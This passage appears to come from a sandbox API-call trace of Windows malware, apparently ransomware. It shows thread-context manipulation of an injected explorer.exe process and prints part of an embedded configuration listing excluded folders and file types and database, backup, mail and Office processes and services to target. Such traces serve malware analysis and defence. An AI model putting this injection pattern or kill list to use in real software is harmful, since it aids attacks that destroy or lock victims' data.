SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x31fb000, Edx=0x0, Ecx=0x0, Eax=0x97b5c0, Ebp=0x0, Eip=0x77c24210, SegCs=0x23, EFlags=0x202, Esp=0x2fcff1c, SegSs=0x2b, ExtendedRegisters=([0]=0x7f, [1]=0x2, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x80, [25]=0x1f, [26]=0x0, [27]=0x0, [28]=0xff, [29]=0xff, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0xb8, [293]=0x53, [294]=0x1, [295]=0x1, [296]=0x14, [297]=0x3, [298]=0xb1, [299]=0x0, [300]=0x1, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x92, [305]=0x7f, [306]=0x67, [307]=0x9c, [308]=0x0, [309]=0x0, [310]=0xb1, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x26, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x58, [321]=0x54, [322]=0xb2, [323]=0x0, [324]=0x39, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x13, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x26, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x1, [340]=0x28, [341]=0x1, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0xb1, [351]=0x0, [352]=0x39, [353]=0x0, [354]=0x0, [355]=0x39, [356]=0x50, [357]=0x4f, [358]=0xb2, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0xe8, [365]=0x7, [366]=0x80, [367]=0x0, [368]=0xff, [369]=0x7, [370]=0x0, [371]=0x0, [372]=0x6b, [373]=0x1, [374]=0x0, [375]=0x0, [376]=0xc0, [377]=0x0, [378]=0xb1, [379]=0x0, [380]=0x0, [381]=0x85, [382]=0xb1, [383]=0x0, [384]=0x16, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0xb1, [391]=0x0, [392]=0xe8, [393]=0xfb, [394]=0x97, [395]=0x0, [396]=0x26, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x50, [401]=0x2, [402]=0xac, [403]=0x1, [404]=0x18, [405]=0x2, [406]=0x0, [407]=0x0, [408]=0x26, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x60, [413]=0x2, [414]=0xb1, [415]=0x0, [416]=0xeb, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x1, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x50, [429]=0xab, [430]=0xb1, [431]=0x0, [432]=0xf0, [433]=0x0, [434]=0xb3, [435]=0x0, [436]=0x6b, [437]=0x1, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x80, [443]=0x0, [444]=0xc8, [445]=0x1, [446]=0x80, [447]=0x0, [448]=0x80, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x28, [453]=0x1, [454]=0x0, [455]=0x0, [456]=0x20, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x1, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xe8, [469]=0x1, [470]=0x0, [471]=0x1, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0xe0, [481]=0xfb, [482]=0x97, [483]=0x0, [484]=0xc0, [485]=0x0, [486]=0xb1, [487]=0x0, [488]=0x88, [489]=0x14, [490]=0xb3, [491]=0x0, [492]=0x88, [493]=0x14, [494]=0xb3, [495]=0x0, [496]=0xa, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x90, [501]=0x14, [502]=0xb3, [503]=0x0, [504]=0x20, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x28, [509]=0x1, [510]=0x0, [511]=0x0))) returned 0x0 [0051.276] NtSetContextThread (ThreadHandle=0x1e8, Context=0x97f8fc*(ContextFlags=0x1003f, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x27f, FloatSave.StatusWord=0x0, FloatSave.TagWord=0xffff, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x31fb000, Edx=0x0, Ecx=0x0, Eax=0x97b5c0, Ebp=0x0, Eip=0x3211450, SegCs=0x23, EFlags=0x202, Esp=0x2fcff1c, SegSs=0x2b, ExtendedRegisters=([0]=0x7f, [1]=0x2, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x80, [25]=0x1f, [26]=0x0, [27]=0x0, [28]=0xff, [29]=0xff, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0xb8, [293]=0x53, [294]=0x1, [295]=0x1, [296]=0x14, [297]=0x3, [298]=0xb1, [299]=0x0, [300]=0x1, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x92, [305]=0x7f, [306]=0x67, [307]=0x9c, [308]=0x0, [309]=0x0, [310]=0xb1, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x26, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x58, [321]=0x54, [322]=0xb2, [323]=0x0, [324]=0x39, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x13, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x26, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x1, [340]=0x28, [341]=0x1, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0xb1, [351]=0x0, [352]=0x39, [353]=0x0, [354]=0x0, [355]=0x39, [356]=0x50, [357]=0x4f, [358]=0xb2, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0xe8, [365]=0x7, [366]=0x80, [367]=0x0, [368]=0xff, [369]=0x7, [370]=0x0, [371]=0x0, [372]=0x6b, [373]=0x1, [374]=0x0, [375]=0x0, [376]=0xc0, [377]=0x0, [378]=0xb1, [379]=0x0, [380]=0x0, [381]=0x85, [382]=0xb1, [383]=0x0, [384]=0x16, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0xb1, [391]=0x0, [392]=0xe8, [393]=0xfb, [394]=0x97, [395]=0x0, [396]=0x26, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x50, [401]=0x2, [402]=0xac, [403]=0x1, [404]=0x18, [405]=0x2, [406]=0x0, [407]=0x0, [408]=0x26, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x60, [413]=0x2, [414]=0xb1, [415]=0x0, [416]=0xeb, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x1, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x50, [429]=0xab, [430]=0xb1, [431]=0x0, [432]=0xf0, [433]=0x0, [434]=0xb3, [435]=0x0, [436]=0x6b, [437]=0x1, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x80, [443]=0x0, [444]=0xc8, [445]=0x1, [446]=0x80, [447]=0x0, [448]=0x80, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x28, [453]=0x1, [454]=0x0, [455]=0x0, [456]=0x20, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x1, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xe8, [469]=0x1, [470]=0x0, [471]=0x1, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0xe0, [481]=0xfb, [482]=0x97, [483]=0x0, [484]=0xc0, [485]=0x0, [486]=0xb1, [487]=0x0, [488]=0x88, [489]=0x14, [490]=0xb3, [491]=0x0, [492]=0x88, [493]=0x14, [494]=0xb3, [495]=0x0, [496]=0xa, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x90, [501]=0x14, [502]=0xb3, [503]=0x0, [504]=0x20, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x28, [509]=0x1, [510]=0x0, [511]=0x0))) returned 0x0 [0051.276] ContinueDebugEvent (dwProcessId=0xdb0, dwThreadId=0xed8, dwContinueStatus=0x80010001) returned 1 [0051.277] DebugActiveProcessStop (dwProcessId=0xdb0) returned 1 [0051.342] RtlFreeHeap (HeapHandle=0xb10000, Flags=0x0, BaseAddress=0xb31490) returned 1 [0051.342] ExitProcess (uExitCode=0x1) Thread: id = 2 os_tid = 0x36c Process: id = "2" image_name = "explorer.exe" filename = "c:\\windows\\syswow64\\explorer.exe" page_root = "0x7451a000" os_pid = "0xdb0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x4a8" cmd_line = "\"C:\\WINDOWS\\system32\\explorer.exe\"" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3 os_tid = 0xed8 [0051.993] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x200) returned 0x33d1758 [0052.083] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6) returned 0x33d6908 [0052.083] RtlInitAnsiString (in: DestinationString=0x2fcfe60, SourceString="NTDLL" | out: DestinationString="NTDLL") [0052.083] RtlAnsiStringToUnicodeString (in: DestinationString=0x2fcfe68, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0052.083] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc) returned 0x33d24a0 [0052.083] RtlFreeAnsiString (AnsiString="N") [0052.083] RtlInitUnicodeString (in: DestinationString=0x2fcfe6c, SourceString="NTDLL" | out: DestinationString="NTDLL") [0052.083] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x2fcfe78 | out: BaseAddress=0x2fcfe78*=0x77bb0000) returned 0x0 [0052.084] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33d24a0) returned 1 [0052.085] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33d6908) returned 1 [0052.085] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6) returned 0x33d6898 [0052.085] RtlInitAnsiString (in: DestinationString=0x2fcfe60, SourceString="NTDLL" | out: DestinationString="NTDLL") [0052.085] RtlAnsiStringToUnicodeString (in: DestinationString=0x2fcfe68, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0052.085] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc) returned 0x33d24b8 [0052.085] RtlFreeAnsiString (AnsiString="N") [0052.085] RtlInitUnicodeString (in: DestinationString=0x2fcfe6c, SourceString="NTDLL" | out: DestinationString="NTDLL") [0052.085] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x2fcfe78 | out: BaseAddress=0x2fcfe78*=0x77bb0000) returned 0x0 [0052.086] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33d24b8) returned 1 [0052.086] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33d6898) returned 1 [0052.087] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6) returned 0x33d6908 [0052.087] RtlInitAnsiString (in: DestinationString=0x2fcfe60, SourceString="NTDLL" | out: DestinationString="NTDLL") [0052.087] RtlAnsiStringToUnicodeString (in: DestinationString=0x2fcfe68, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0052.087] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc) returned 0x33d24a0 [0052.087] RtlFreeAnsiString (AnsiString="N") [0052.087] RtlInitUnicodeString (in: DestinationString=0x2fcfe6c, SourceString="NTDLL" | out: DestinationString="NTDLL") [0052.087] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x2fcfe78 | out: BaseAddress=0x2fcfe78*=0x77bb0000) returned 0x0 [0052.087] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33d24a0) returned 1 [0052.088] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33d6908) returned 1 [0052.089] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6) returned 0x33d6908 [0052.089] RtlInitAnsiString (in: DestinationString=0x2fcfe60, SourceString="NTDLL" | out: DestinationString="NTDLL") [0052.089] RtlAnsiStringToUnicodeString (in: DestinationString=0x2fcfe68, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0052.089] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc) returned 0x33d2398 [0052.089] RtlFreeAnsiString (AnsiString="N") [0052.090] RtlInitUnicodeString (in: DestinationString=0x2fcfe6c, SourceString="NTDLL" | out: DestinationString="NTDLL") [0052.090] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x2fcfe78 | out: BaseAddress=0x2fcfe78*=0x77bb0000) returned 0x0 [0052.090] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33d2398) returned 1 [0052.090] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33d6908) returned 1 [0052.207] RtlInitUnicodeString (in: DestinationString=0x2fcfed8, SourceString="mpr.dll" | out: DestinationString="mpr.dll") [0052.207] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="mpr.dll", BaseAddress=0x2fcfee4 | out: BaseAddress=0x2fcfee4*=0x73ae0000) returned 0x0 [0053.734] FindResourceA (hModule=0x3200000, lpName=0x7a69, lpType=0x539) returned 0x3215048 [0053.734] LoadResource (hModule=0x3200000, hResInfo=0x3215048) returned 0x3215058 [0053.734] LockResource (hResData=0x3215058) returned 0x3215058 [0053.734] SizeofResource (hModule=0x3200000, hResInfo=0x3215048) returned 0xd8a [0053.734] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd8a) returned 0x33de648 [0053.734] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5) returned 0x33d6908 [0053.799] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x100) returned 0x33c8960 [0053.799] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x100) returned 0x33d2170 [0053.799] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33d2170) returned 1 [0053.799] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c8960) returned 1 [0053.799] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33d8600 [0053.800] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4) returned 0x33d6948 [0053.800] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33d8660 [0053.800] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4) returned 0x33d6898 [0053.800] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33d85a0 [0053.800] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d6898, Size=0x8) returned 0x33d68a8 [0053.800] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33d8480 [0053.800] strtol (in: _Str="0,\"spsz\":16534,\"namesz\":10,\"idsz\":6, \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection 